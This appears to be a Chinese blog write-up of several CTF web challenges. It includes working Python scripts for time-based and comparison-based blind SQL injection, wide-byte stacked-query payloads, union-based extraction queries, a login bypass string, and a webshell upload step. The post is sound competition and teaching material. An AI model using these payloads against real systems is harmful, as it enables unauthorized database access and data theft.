盲注

过滤的内容回显是空白

简单fuzz会发现是一个利用regexp的时间盲注

可能是因为师傅们都去吃饭了 或者是看题目质量一般就不做了 混了个一血

exp:

import requests
url='http://422db60b191a4b8f9c0a75c54e91b73f7369730af7f64d5b.changame.ichunqiu.com/?id='
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
flag='^'
tmp=''
alphabet = ['!','|','[',']','{','}','_','/','-','&',"%",'#','@','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','J','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
for i in range(0,50):
    for y in alphabet:
        tmp+=str2hex(flag+y)
      #  print(y)
        payload='if((fl4g%0aregexp%0a{}),sleep(5),1)'.format(tmp)
     #   print(payload)
        a=requests.get(url+payload)
        if '404 Not Found<'in a.text:
            flag+=y
            tmp=''
            break
        tmp=''
    print(flag)

吐槽一下:因为容器不稳定 经常会出现跑一个循环没出字符的情况。。搞得我最开始以为我脚本有问题 后来发现再跑几个循环就出字符了。。得亏这题的字段内容前后是关联的 要是常规的盲注会很费劲

简单的招聘系统

基础的sql注入。。

确实有点没想到nu1l出的题这么简单

我对着js看了好久。。

登陆处万能密码 1' or 1=1#

然后在blank page查询处查flag

1' or 1 order by 5#正常回显

1' or 1 order by 6#报错

测试发现回显的字段在2

1' union select 1,database(),3,4,5#

database():nzhaopin

1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#

1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#

1' union select 1,group_concat(flaaag),3,4,5 from flag#

查出flag

ezupload

直接传一句话 然后system('/readflag');就成了。。

看了眼源码 inarray那里写翻车了

讲道理那个过滤不翻车也是送分题。。

babyphp

题是我出的 不写了。。

easysqli_copy

谁能告诉我这比赛咋这么多注入- -

宽字节+PDO堆叠

没啥好说的 简单题

import requests
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
url='http://0d7a93644ff54a3886e388d2e2d8ac5d71f9fe37e74247d7.changame.ichunqiu.com/?id='
data='1%df%27;set @a={};prepare test from @a;execute test;'
payload='select if((ascii(mid((select fllllll4g from table1),{},1))={}),sleep(6),1);'
flag=''
for i in range(1,60):
    for x in range(30,127):
     #   print(x)
        newpayload=payload.format(str(i),str(x))
     #   print (newpayload)
        newdata=data.format(str2hex(newpayload))
     #   print(newdata)
        a=requests.session()
        if(a.get(url+newdata).status_code==404):
            flag+=chr(x)
            break
    print(flag)
#database:pdotest
#table1
#balabala  eihey

blacklist

也没啥好说的。。黑名单已经很明显了 prepare set select这些全都过滤的堆叠注入

很明显的handler

找到字段直接查就OK了

要注意handler必须close才有回显

Ezsqli

nu1l师傅出的题 确实顶

前半段过滤了or的常规盲注没什么好说的 用sys.schema_table_statistics_with_buffer绕一下就有表名了

之后这个无列名盲注有点说头

正则大概是union.+?select 然后join也没了

我本来以为要玩pcre正则回溯 试了半天不是绕不过就是直接413

试了下字符比较是可以的

但是这题很坑的一点在如果字符不0x的话会直接500。。

我对着500测了半个多小时

然后才发现0x就可以了

exp:

import requests
url='http://0e00c6dfc5fd4118a731a1ed4a5579a45128d400fffe4c5e.changame.ichunqiu.com/index.php'
flag=''
tmp=''
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
for i in range(1,50):
    for y in range(30,127):
        tmp+=str2hex(flag+chr(y))
      #  print(flag+chr(y))

        data={
            'id':'0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(tmp)
        }
        #print(y)
   #     print(data['id'])
        sess=requests.session()
        a=sess.post(url,data=data)
       # print(a.text)
        if 'Nu1L' in a.text:
            flag+=chr(y-1)
            tmp=''
            break
        tmp=''
    print(flag)
#database:ctf
#f1ag_1s_h3r3_hhhhh
#1^(ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)
分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注